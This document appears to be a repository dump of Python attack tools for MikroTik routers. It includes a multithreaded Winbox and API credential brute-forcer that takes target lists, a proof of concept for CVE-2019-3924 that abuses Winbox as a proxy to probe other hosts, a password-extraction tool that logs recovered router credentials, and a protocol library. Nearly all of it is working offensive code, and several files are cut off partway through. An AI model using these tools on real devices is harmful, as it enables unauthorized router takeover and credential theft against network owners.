ord(self.readStr(1)) 134 | c <<= 8 135 | c += ord(self.readStr(1)) 136 | elif (c & 0xF8) == 0xF0: 137 | c = ord(self.readStr(1)) 138 | c <<= 8 139 | c += ord(self.readStr(1)) 140 | c <<= 8 141 | c += ord(self.readStr(1)) 142 | c <<= 8 143 | c += ord(self.readStr(1)) 144 | return c 145 | 146 | def writeStr(self, str): 147 | n = 0 148 | while n < len(str): 149 | r = self.sk.send(bytes(str[n:], 'UTF-8')) 150 | if r == 0: raise RuntimeError("connection closed by remote end") 151 | n += r 152 | 153 | def writeByte(self, str): 154 | n = 0 155 | while n < len(str): 156 | r = self.sk.send(str[n:]) 157 | if r == 0: raise RuntimeError("connection closed by remote end") 158 | n += r 159 | 160 | def readStr(self, length): 161 | ret = '' 162 | while len(ret) < length: 163 | s = self.sk.recv(length - len(ret)) 164 | if s == b'': raise RuntimeError("connection closed by remote end") 165 | if s >= (128).to_bytes(1, "big") : 166 | return s 167 | ret += s.decode('UTF-8', "replace") 168 | return ret 169 | 170 | # Authenticate to the remote API 171 | def do_auth(host, user, password): 172 | result = AUTH_ERROR 173 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 174 | s.settimeout(TIMEOUT) 175 | try: 176 | s.connect((host, api_port)) 177 | except: 178 | print('[-] %s %s %s [CONNECT_ERROR]' % (host, user, password)) 179 | s.close() 180 | return AUTH_ERROR 181 | api = ApiRos(s) 182 | try: 183 | if not api.login(user, password): 184 | print('[-] %s %s %s [BAD]' % (host, user, password)) 185 | result = AUTH_BAD 186 | else: 187 | print('\033[32m[+] %s %s %s [GOOD]\033[39m' % (host, user, password)) 188 | result = AUTH_GOOD 189 | except: 190 | print('[-] %s %s %s [ERROR]' % (host, user, password)) 191 | s.close() 192 | return AUTH_ERROR 193 | return result 194 | 195 | def bruteforce(target): 196 | result = [] 197 | for l, p in creds: 198 | print('[*] Trying to connect to target: %s:%s (%s:%s)' % (target, api_port, l, p)) 199 | code = do_auth(target, l, p) 200 | result.append((target, l, p, code)) 201 | if code == AUTH_GOOD: 202 | if stop_after_good: 203 | return result 204 | elif code == AUTH_ERROR: 205 | break 206 | return result 207 | 208 | def read_dictionary(filename): 209 | try: 210 | with open(filename) as f: 211 | dictionary = [d.strip() for d in f.readlines()] 212 | f.close() 213 | return dictionary 214 | except: 215 | return None 216 | 217 | def parse_dictionary(dict): 218 | result = [] 219 | for d in dict: 220 | try: 221 | login, password = d.split('\t') 222 | except: 223 | login = d 224 | password = '' 225 | result.append((login, password)) 226 | return result 227 | 228 | def read_targets(filename): 229 | try: 230 | with open(filename) as f: 231 | targets = [t.strip() for t in f.readlines()] 232 | f.close() 233 | return targets 234 | except: 235 | return None 236 | 237 | if __name__ == '__main__': 238 | results_file_opened = False 239 | 240 | parser = argparse.ArgumentParser(description='description') 241 | parser.add_argument('-d', '--dict', help = 'A dictionary file', required = False) 242 | parser.add_argument('-t', '--target', help = 'Target hostname', required = False) 243 | parser.add_argument('-p', '--port', help = 'API port (default = 8728)', required = False) 244 | parser.add_argument('-T', '--targets', help = 'Targets list filename', required = False) 245 | parser.add_argument('-n', '--threads', type = int, help = 'Number of threads for parallel processing', required = False) 246 | parser.add_argument('-S', '--stop-after-good', action = 'store_true', help = 'Stop login tries after good creds found for the target', required = False) 247 | parser.add_argument('--log', help = 'Write log file', required = False) 248 | parser.add_argument('--default', action = 'store_true', help = 'Try default credentials at first', required = False) 249 | args = vars(parser.parse_args()) 250 | 251 | if not ((args['target'] or args['targets']) and (args['dict'] or args['default'])): 252 | print('Please specify --target/-t or --targets/-T to scan, and --dict/-d and/or --default options') 253 | exit(1) 254 | 255 | if args['dict']: 256 | dictfile = args['dict'] 257 | dict = read_dictionary(dictfile) 258 | if dict is None: 259 | print('Error reading the dictionary file: %s' % dictfile) 260 | exit(1) 261 | creds = parse_dictionary(dict) 262 | if args['default']: 263 | creds.insert(0, DEFAULT_CREDS) 264 | 265 | if args['default']: 266 | if not args['dict']: 267 | creds = [DEFAULT_CREDS] 268 | 269 | if args['threads']: 270 | number_of_threads = args['threads'] 271 | 272 | if args['port']: 273 | api_port = int(args['port']) 274 | 275 | if args['target'] and args['targets']: 276 | print('Please specify --target/-t or --targets/-T , but not both') 277 | exit(1) 278 | elif args['target']: 279 | targets.append(args['target']) 280 | number_of_threads = 1 281 | else: 282 | targetsfile = args['targets'] 283 | targets = read_targets(targetsfile) 284 | if targets is None: 285 | print('Error reading the targets file: %s' % targetsfile) 286 | exit(1) 287 | targets_count = len(targets) 288 | if targets_count < number_of_threads: 289 | number_of_threads = targets_count 290 | 291 | if args['stop_after_good']: 292 | stop_after_good = True 293 | 294 | if args['log']: 295 | log = True 296 | log_filename = args['log'] 297 | log_file = open(log_filename, 'a') 298 | 299 | print('[*] Starting with %s threads' % number_of_threads) 300 | pool = Pool(processes = number_of_threads) 301 | results = pool.map(bruteforce, targets) 302 | pool.close() 303 | pool.join() 304 | print('[!] Finishing...') 305 | 306 | print('\nGood results:\n=============') 307 | for r in results: 308 | for e in r: 309 | host, login, password, code = e 310 | if code == AUTH_GOOD: 311 | out = host + '\t' + login + '\t' + password 312 | print(out) 313 | if not results_file_opened: 314 | results_file = open(results_filename, 'a') 315 | results_file_opened = True 316 | results_file.write(out + '\n') 317 | if log: 318 | log_file.write(AUTH_RESULT_CODES[code] + '\t' + host + '\t' + login + '\t' + password + '\n') 319 | 320 | if results_file_opened: 321 | results_file.close() 322 | if log: 323 | log_file.close() 324 | -------------------------------------------------------------------------------- /poc/useagent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # https://www.tenable.com/cve/CVE-2019-3924 4 | # https://www.tenable.com/security/research/tra-2019-07 5 | 6 | import argparse, struct, socket, hashlib, time 7 | from binascii import * 8 | from codecs import decode 9 | 10 | # Packet headers 11 | M2_HEADER = b'\x4d\x32' 12 | M2_EXTRA = b'\x01\x00' 13 | 14 | # Winbox protocol types 15 | MT_BOOL = 0x00 16 | MT_BOOL_CODE = {False: 0x00, True: 0x01} 17 | MT_BOOL_VALUE = {0x00: False, 0x01: True} 18 | MT_DWORD = 0x08 19 | MT_BYTE = 0x09 20 | MT_STRING = 0x21 21 | MT_HASH = 0x31 22 | MT_ARRAY = 0x88 23 | 24 | # Message protocol constants 25 | MT_RECEIVER = 0xff0001 26 | MT_SENDER = 0xff0002 27 | MT_REPLY_EXPECTED = 0xff0005 28 | MT_REQUEST_ID = 0xff0006 29 | MT_COMMAND = 0xff0007 30 | 31 | # Resulting error codes 32 | EXIT_OK = 0 33 | EXIT_ERROR = 1 34 | EXIT_UNKNOWN = 2 35 | 36 | def ip2dword(addr): 37 | return struct.unpack(">>', hexlify(request).decode('UTF-8'), '\n') 237 | print('M2 parse of the request:') 238 | dump_packet(request) 239 | print() 240 | try: 241 | s.send(request) 242 | print('[+] Request to %s:%s proxied via %s:%s' % (target_host, target_port, proxy_host, proxy_port)) 243 | except: 244 | print('[-] Request to %s:%s failed via %s:%s' % (target_host, target_port, proxy_host, proxy_port)) 245 | s.close() 246 | return EXIT_ERROR 247 | try: 248 | read = s.recv(1024) 249 | if len(read) > 0: 250 | print('[+] Response read from %s:%s completed' % (proxy_host, proxy_port)) 251 | else: 252 | print('[-] Response from %s:%s is zero bytes' % (proxy_host, proxy_port)) 253 | return EXIT_ERROR 254 | except: 255 | print('[-] Response read from %s:%s failed' % (proxy_host, proxy_port)) 256 | s.close() 257 | return EXIT_ERROR 258 | if DEBUG: 259 | print('<<<', hexlify(read).decode('UTF-8'), '\n') 260 | print('M2 parse of the response:') 261 | dump_packet(read) 262 | print() 263 | error = get_value(read, 0xff0008, MT_DWORD) 264 | if error is not None: 265 | result = EXIT_ERROR 266 | error_description = get_value(read, 0xff0009, MT_STRING) 267 | if error_description is not None: 268 | print('[-] Error: %s [%s]' % (error, error_description)) 269 | else: 270 | print('[-] Error: %s' % error) 271 | elif get_value(read, 13, MT_BOOL): 272 | print('[+] Success!') 273 | result = EXIT_OK 274 | s.close() 275 | return result 276 | 277 | DEBUG = False 278 | proxy_port = 8291 279 | send = '' 280 | receive = '' 281 | udp = False 282 | netbios = False 283 | target_port = 80 284 | 285 | if __name__ == '__main__': 286 | parser = argparse.ArgumentParser(description='description') 287 | parser.add_argument('-X', '--proxy-host', help = 'A proxy host IP address to connect to', required = True) 288 | parser.add_argument('-P', '--proxy-port', help = 'A proxy winbox port number to connect to (default = 8291)', required = False) 289 | parser.add_argument('-t', '--target-host', help = 'A target host address to make a TCP-probe to', required = True) 290 | parser.add_argument('-p', '--target-port', help = 'A target TCP port to make a probe to (default = 80)', required = False) 291 | parser.add_argument('-s', '--send', help = 'A request data to send to the target', required = False) 292 | parser.add_argument('-r', '--receive', help = 'A regexp to match the response data', required = False) 293 | parser.add_argument('-u', '--udp', action = 'store_true', help = 'Use UDP probe instead of TCP', required = False) 294 | parser.add_argument('--netbios', action = 'store_true', help = 'Use NetBIOS probe', required = False) 295 | parser.add_argument('--debug', action = 'store_true', help = 'Display the debugging info', required = False) 296 | args = vars(parser.parse_args()) 297 | 298 | if args['udp']: 299 | udp = True 300 | if args['netbios']: 301 | if udp: 302 | print('Error: please don''t use both udp and netbios modes') 303 | exit(EXIT_UNKNOWN) 304 | netbios = True 305 | proxy_host = args['proxy_host'] 306 | if args['proxy_port']: 307 | proxy_port = int(args['proxy_port']) 308 | target_host = args['target_host'] 309 | if args['target_port']: 310 | target_port = int(args['target_port']) 311 | if args['send']: 312 | send = decode(args['send'], 'unicode_escape') 313 | if args['receive']: 314 | receive = decode(args['receive'], 'unicode_escape') 315 | if args['debug']: 316 | DEBUG = True 317 | 318 | print('Send:', repr(send), '\nReceive (regex):', repr(receive)) 319 | result = do(proxy_host, proxy_port, target_host, target_port, send, receive) 320 | exit(result) 321 | -------------------------------------------------------------------------------- /winbox-brute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse, binascii, struct, socket, hashlib, time 4 | from multiprocessing import Pool 5 | 6 | results_filename = 'winbox-brute.log' 7 | 8 | # Authorization result codes 9 | AUTH_GOOD = 0 10 | AUTH_BAD = 1 11 | AUTH_ERROR = 2 12 | AUTH_RESULT_CODES = ["GOOD", "BAD", "ERROR"] 13 | TIMEOUT = 5 14 | SLEEP_TIME = 0.5 15 | DEFAULT_CREDS = ('admin', '') 16 | 17 | # Packet headers 18 | M2_HEADER = b'\x4d\x32' 19 | M2_EXTRA = b'\x01\x00' 20 | 21 | # Winbox protocol types 22 | MT_BOOL = 0x00 23 | MT_BOOL_CODE = {False: 0x00, True: 0x01} 24 | MT_BOOL_VALUE = {0x00: False, 0x01: True} 25 | MT_DWORD = 0x08 26 | MT_BYTE = 0x09 27 | MT_STRING = 0x21 28 | MT_HASH = 0x31 29 | MT_ARRAY = 0x88 30 | 31 | # Message protocol constants 32 | MT_RECEIVER = 0xff0001 33 | MT_SENDER = 0xff0002 34 | MT_REPLY_EXPECTED = 0xff0005 35 | MT_REQUEST_ID = 0xff0006 36 | MT_COMMAND = 0xff0007 37 | 38 | DEBUG = False 39 | 40 | # Global variables 41 | targets = [] 42 | creds = [] 43 | number_of_threads = 50 44 | stop_after_good = False 45 | log = False 46 | 47 | # Add M2 header and sizes to the stream (there's no check if size exceeds one 255) 48 | def m2_header(stream): 49 | size = len(stream) 50 | return struct.pack('B', size + 4) + M2_EXTRA + struct.pack('B', size + 2) + M2_HEADER + stream 51 | 52 | # Return an array of M2 blocks, each cointaining an array of tuples like (code, type, value) 53 | def m2_parse(stream): 54 | result = [] 55 | 56 | pointer = 0 57 | stream_size = len(stream) 58 | 59 | while pointer < stream_size: 60 | keywords = [] 61 | 62 | header_block_size = ord(stream[pointer:pointer+1]) 63 | pointer += 1 64 | if stream[pointer:pointer+2] != M2_EXTRA: 65 | return None 66 | pointer += 2 67 | m2_block_size = ord(stream[pointer:pointer+1]) 68 | pointer += 1 69 | if stream[pointer:pointer+2] != M2_HEADER: 70 | print('Not a M2 block') 71 | return None 72 | if header_block_size != (m2_block_size + 2): 73 | print('M2 header and block sizes mismatch!') 74 | return None 75 | pointer += 2 76 | 77 | block_data_start = pointer 78 | 79 | while pointer < (block_data_start + m2_block_size - 2): 80 | # Configuration ID, or keyword_code, is always 3 bytes long 81 | try: 82 | keyword_code = struct.unpack('P1:', binascii.hexlify(p1).decode('UTF-8')) 239 | 240 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 241 | s.settimeout(TIMEOUT) 242 | 243 | try: 244 | s.connect((host, 8291)) 245 | except: 246 | print('[-] %s %s %s [ERROR_CONNECT]' % (host, login, password)) 247 | s.close() 248 | return AUTH_ERROR 249 | try: 250 | s.send(p1) 251 | except: 252 | print('[-] %s %s %s [ERROR_P1_SEND]' % (host, login, password)) 253 | s.close() 254 | return AUTH_ERROR 255 | try: 256 | read = s.recv(1024) 257 | except: 258 | print('[-] %s %s %s [ERROR_P2_RECEIVE]' % (host, login, password)) 259 | s.close() 260 | return AUTH_ERROR 261 | if DEBUG: 262 | print(host, 'P4:', binascii.hexlify(p4).decode('UTF-8')) 275 | try: 276 | s.send(p4) 277 | except: 278 | print('[-] %s %s %s [ERROR_P4_SEND]' % (host, login, password)) 279 | s.close() 280 | return AUTH_ERROR 281 | try: 282 | read = s.recv(1024) 283 | except: 284 | print('[-] %s %s %s [ERROR_P5_RECEIVE]' % (host, login, password)) 285 | s.close() 286 | return AUTH_ERROR 287 | if DEBUG: 288 | print(host, 'P6:', binascii.hexlify(p6).decode('UTF-8')) 307 | try: 308 | s.send(p6) 309 | except: 310 | print('[-] %s %s %s [ERROR_P6_SEND]' % (host, login, password)) 311 | s.close() 312 | return AUTH_ERROR 313 | try: 314 | read = s.recv(1024) 315 | except: 316 | print('[-] %s %s %s [ERROR_P7_RECEIVE]' % (host, login, password)) 317 | s.close() 318 | return AUTH_ERROR 319 | if DEBUG: 320 | print(host, ' or --targets/-T to scan, and --dict/-d and/or --default') 396 | exit(1) 397 | 398 | if args['dict']: 399 | dictfile = args['dict'] 400 | dict = read_dictionary(dictfile) 401 | if dict is None: 402 | print('Error reading the dictionary file: %s' % dictfile) 403 | exit(1) 404 | creds = parse_dictionary(dict) 405 | if args['default']: 406 | creds.insert(0, DEFAULT_CREDS) 407 | 408 | if args['debug']: 409 | DEBUG = True 410 | 411 | if args['default']: 412 | if not args['dict']: 413 | creds = [DEFAULT_CREDS] 414 | 415 | if args['threads']: 416 | number_of_threads = args['threads'] 417 | 418 | if args['target'] and args['targets']: 419 | print('Please specify either --target/-t , or --targets/-T , but not both') 420 | exit(1) 421 | elif args['target']: 422 | targets.append(args['target']) 423 | number_of_threads = 1 424 | else: 425 | targetsfile = args['targets'] 426 | targets = read_targets(targetsfile) 427 | if targets is None: 428 | print('Error reading the targets file: %s' % targetsfile) 429 | exit(1) 430 | targets_count = len(targets) 431 | if targets_count < number_of_threads: 432 | number_of_threads = targets_count 433 | 434 | if args['stop_after_good']: 435 | stop_after_good = True 436 | 437 | if args['log']: 438 | log = True 439 | log_filename = args['log'] 440 | log_file = open(log_filename, 'a') 441 | 442 | print('[*] Starting with %s threads' % number_of_threads) 443 | pool = Pool(processes = number_of_threads) 444 | results = pool.map(bruteforce, targets) 445 | pool.close() 446 | pool.join() 447 | print('[!] Finishing...') 448 | 449 | print('\nGood results:\n=============') 450 | for r in results: 451 | for e in r: 452 | host, login, password, code = e 453 | if code == AUTH_GOOD: 454 | # out = host + ' ' + login + ' ' + password 455 | out = host + '\t' + login + '\t' + password 456 | print(out) 457 | if not results_file_opened: 458 | results_file = open(results_filename, 'a') 459 | results_file_opened = True 460 | results_file.write(out + '\n') 461 | if log: 462 | log_file.write(AUTH_RESULT_CODES[code] + '\t' + host + '\t' + login + '\t' + password + '\n') 463 | 464 | if results_file_opened: 465 | results_file.close() 466 | if log: 467 | log_file.close() 468 | -------------------------------------------------------------------------------- /winbox-extract-passwords.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse, binascii, struct, hashlib, time 4 | from multiprocessing import Pool 5 | from io import BytesIO 6 | from socket import * 7 | results_filename = 'winbox-extract-passwords.log' 8 | 9 | TIMEOUT = 5 10 | SLEEP_TIME = 0.5 11 | 12 | # Packet headers 13 | M2_HEADER = b'\x4d\x32' 14 | M2_EXTRA = b'\x01\x00' 15 | 16 | # Message protocol types 17 | MT_BOOL = 0x00 18 | MT_BOOL_CODE = {False: 0x00, True: 0x01} 19 | MT_BOOL_VALUE = {0x00: False, 0x01: True} 20 | MT_DWORD = 0x08 21 | MT_BYTE = 0x09 22 | MT_STRING = 0x21 23 | MT_HASH = 0x31 24 | MT_ARRAY = 0x88 25 | 26 | # Message protocol constants 27 | MT_RECEIVER = 0xff0001 28 | MT_SENDER = 0xff0002 29 | MT_REPLY_EXPECTED = 0xff0005 30 | MT_REQUEST_ID = 0xff0006 31 | MT_COMMAND = 0xff0007 32 | 33 | DEBUG = False 34 | 35 | # Global variables 36 | targets = [] 37 | number_of_threads = 50 38 | log = False 39 | winbox_port = 8291 40 | 41 | # mtPacket 42 | class mtPacket(object): 43 | def __init__(self): 44 | self.contents = [] 45 | self.raw = None 46 | self.ready = False 47 | self.parsed = False 48 | 49 | def add(self, id, type, value): 50 | self.contents.append((id, type, value)) 51 | 52 | def build(self): 53 | buf = BytesIO() 54 | for k in self.contents: 55 | id, type, value = k 56 | if type == MT_BOOL: 57 | type = MT_BOOL_CODE[value] 58 | size_bytes = b'' 59 | value_bytes = b'' 60 | elif type == MT_DWORD: 61 | size_bytes = b'' 62 | value_bytes = struct.pack('H', self.raw[2:4]) 96 | if data_size + 4 != packet_size: 97 | raise Exception('Packet header size is incorrect!') 98 | block = self.raw[6:] 99 | pointer = 0 100 | block_size = len(block) 101 | while pointer + 4 < block_size: 102 | id, = struct.unpack(' or --targets/-T ') 431 | exit(1) 432 | elif args['target'] and args['targets']: 433 | print('Please specify either --target/-t option, or --targets/-T , but not both') 434 | exit(1) 435 | elif args['target']: 436 | targets.append(args['target']) 437 | number_of_threads = 1 438 | else: 439 | targetsfile = args['targets'] 440 | targets = read_targets(targetsfile) 441 | if targets is None: 442 | print('Error reading the targets file: %s' % targetsfile) 443 | exit(1) 444 | targets_count = len(targets) 445 | if targets_count < number_of_threads: 446 | number_of_threads = targets_count 447 | 448 | if args['debug']: 449 | DEBUG = True 450 | 451 | if args['threads']: 452 | number_of_threads = args['threads'] 453 | 454 | if args['port']: 455 | winbox_port = args['port'] 456 | 457 | if args['log']: 458 | log = True 459 | log_filename = args['log'] 460 | log_file = open(log_filename, 'a') 461 | 462 | print('[*] Starting with %s threads' % number_of_threads) 463 | pool = Pool(processes = int(number_of_threads)) 464 | results = pool.map(get_userdat, targets) 465 | pool.close() 466 | pool.join() 467 | print('[!] Finishing...') 468 | 469 | for r in results: 470 | if r is not None: 471 | for t in r: 472 | host, login, password = t 473 | out = host + ' ' + login + ' ' + password 474 | if not results_file_opened: 475 | results_file = open(results_filename, 'a') 476 | results_file_opened = True 477 | results_file.write(out + '\n') 478 | if log: 479 | log_file.write(host + '\t' + login + '\t' + password + '\n') 480 | 481 | if results_file_opened: 482 | results_file.close() 483 | if log: 484 | log_file.close() 485 | 486 | -------------------------------------------------------------------------------- /winbox/winbox.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import struct, hashlib 4 | from binascii import hexlify, unhexlify 5 | from io import BytesIO 6 | from socket import * 7 | from time import sleep 8 | 9 | # Packet headers 10 | M2_HEADER = b'M2' 11 | 12 | # Indicates that the length takes one byte, thus the value is less than 2^8 13 | MT_SHORT_LENGTH = 0x01000000 14 | 15 | # Different data formats 16 | MT_BOOL = 0x00000000 17 | MT_DWORD = 0x08000000 18 | MT_QWORD = 0x10000000 19 | MT_IPV6 = 0x18000000 20 | MT_STRING = 0x20000000 21 | MT_MESSAGE = 0x28000000 22 | MT_RAW = 0x30000000 23 | 24 | # Array type is a bitwise OR between a data type and MT_ARRAY 25 | MT_ARRAY = 0x80000000 26 | 27 | # Different array types 28 | MT_BOOL_ARRAY = MT_ARRAY | MT_BOOL 29 | MT_DWORD_ARRAY = MT_ARRAY | MT_DWORD 30 | MT_QWORD_ARRAY = MT_ARRAY | MT_QWORD 31 | MT_IPV6_ARRAY = MT_ARRAY | MT_IPV6 32 | MT_STRING_ARRAY = MT_ARRAY | MT_STRING 33 | MT_MESSAGE_ARRAY = MT_ARRAY | MT_MESSAGE 34 | MT_RAW_ARRAY = MT_ARRAY | MT_RAW 35 | 36 | # Type/name filters are bitwise AND between a nametype and a corresponding filter 37 | MT_TYPE_FILTER = 0xf8000000 38 | MT_NAME_FILTER = 0x00ffffff 39 | MT_ARRAY_FILTER = 0x7fffffff 40 | MT_BOOL_FILTER = 0x01000000 41 | 42 | # MT-style abbreviated notation 43 | MT_TYPE_REDUCTION = { 44 | MT_BOOL: 'b', 45 | MT_DWORD: 'u', 46 | MT_QWORD: 'q', 47 | MT_IPV6: 'a', 48 | MT_STRING: 's', 49 | MT_MESSAGE: 'm', 50 | MT_RAW: 'r', 51 | MT_BOOL_ARRAY: 'B', 52 | MT_DWORD_ARRAY: 'U', 53 | MT_QWORD_ARRAY: 'Q', 54 | MT_IPV6_ARRAY: 'A', 55 | MT_STRING_ARRAY: 'S', 56 | MT_MESSAGE_ARRAY: 'M', 57 | MT_RAW_ARRAY: 'R' 58 | } 59 | 60 | # Backward translation from an abbreviated notation 61 | MT_REDUCTION_TYPE = { 62 | 'b': MT_BOOL, 63 | 'u': MT_DWORD, 64 | 'q': MT_QWORD, 65 | 'a': MT_IPV6, 66 | 's': MT_STRING, 67 | 'm': MT_MESSAGE, 68 | 'r': MT_RAW, 69 | 'B': MT_BOOL_ARRAY, 70 | 'U': MT_DWORD_ARRAY, 71 | 'Q': MT_QWORD_ARRAY, 72 | 'A': MT_IPV6_ARRAY, 73 | 'S': MT_STRING_ARRAY, 74 | 'M': MT_MESSAGE_ARRAY, 75 | 'R': MT_RAW_ARRAY 76 | } 77 | 78 | # The size in bytes for the corresponing array elements 79 | MT_TYPE_SIZE = { 80 | MT_BOOL: 1, 81 | MT_DWORD: 4, 82 | MT_QWORD: 8, 83 | MT_IPV6: 16, 84 | MT_STRING: 0, 85 | MT_MESSAGE: 0, 86 | MT_RAW: 0, 87 | } 88 | 89 | # Message protocol constants 90 | MT_RECEIVER = 0xff0001 91 | MT_SENDER = 0xff0002 92 | MT_REPLY_EXPECTED = 0xff0005 93 | MT_REQUEST_ID = 0xff0006 94 | MT_COMMAND = 0xff0007 95 | MT_SESSION_ID = 0xfe0001 96 | 97 | # This class represents a network packet 98 | class mtPacket(object): 99 | def __init__(self, raw = None): 100 | self.raw = raw 101 | self.header = False 102 | 103 | def size(self): 104 | return len(self.raw) 105 | 106 | def clear(self): 107 | self.raw = None 108 | self.header = False 109 | 110 | # Returns True if a raw packet data contains a M2 header 111 | def has_header(self): 112 | if self.raw is None: 113 | raise Exception('No raw data in the packet yet') 114 | return self.raw[4:6] == M2_HEADER 115 | 116 | # Adds a M2 header for a raw data 117 | def add_header(self): 118 | if self.has_header(): 119 | raise Exception('The raw data already has got a header') 120 | buffer = BytesIO() 121 | size = len(self.raw) 122 | # The contents is short (doesn't exceed 255 bytes) 123 | if size + 4 < 0xff: 124 | buffer.write(struct.pack('H', size + 2) + M2_HEADER) 125 | buffer.write(self.raw) 126 | # The contents is long (so split it into several chunks up to 255 bytes) 127 | else: 128 | raw_headed = struct.pack('>H', size + 2) + M2_HEADER + self.raw 129 | first_chunk = True 130 | pointer = 0 131 | while pointer < size + 4: 132 | remaining = 4 + size - pointer 133 | if remaining > 0xff: 134 | remaining = 0xff 135 | if first_chunk: 136 | insertion = struct.pack('H', self.raw[2:4]) 158 | pointer = 0 159 | chunk_read_bytes = 0 160 | chunk = 0 161 | while pointer < len(self.raw): 162 | chunk += 1 163 | chunk_size, chunk_next = struct.unpack('> 31 273 | if array: 274 | size = len(value) 275 | size_bytes = struct.pack('> 24 330 | array = (typeid & MT_ARRAY) >> 31 331 | pointer += 4 332 | if array: 333 | if short: 334 | array_length, = struct.unpack('> 24 366 | self.add(id, type, value) 367 | elif type == MT_DWORD: 368 | if short: 369 | value, = struct.unpack('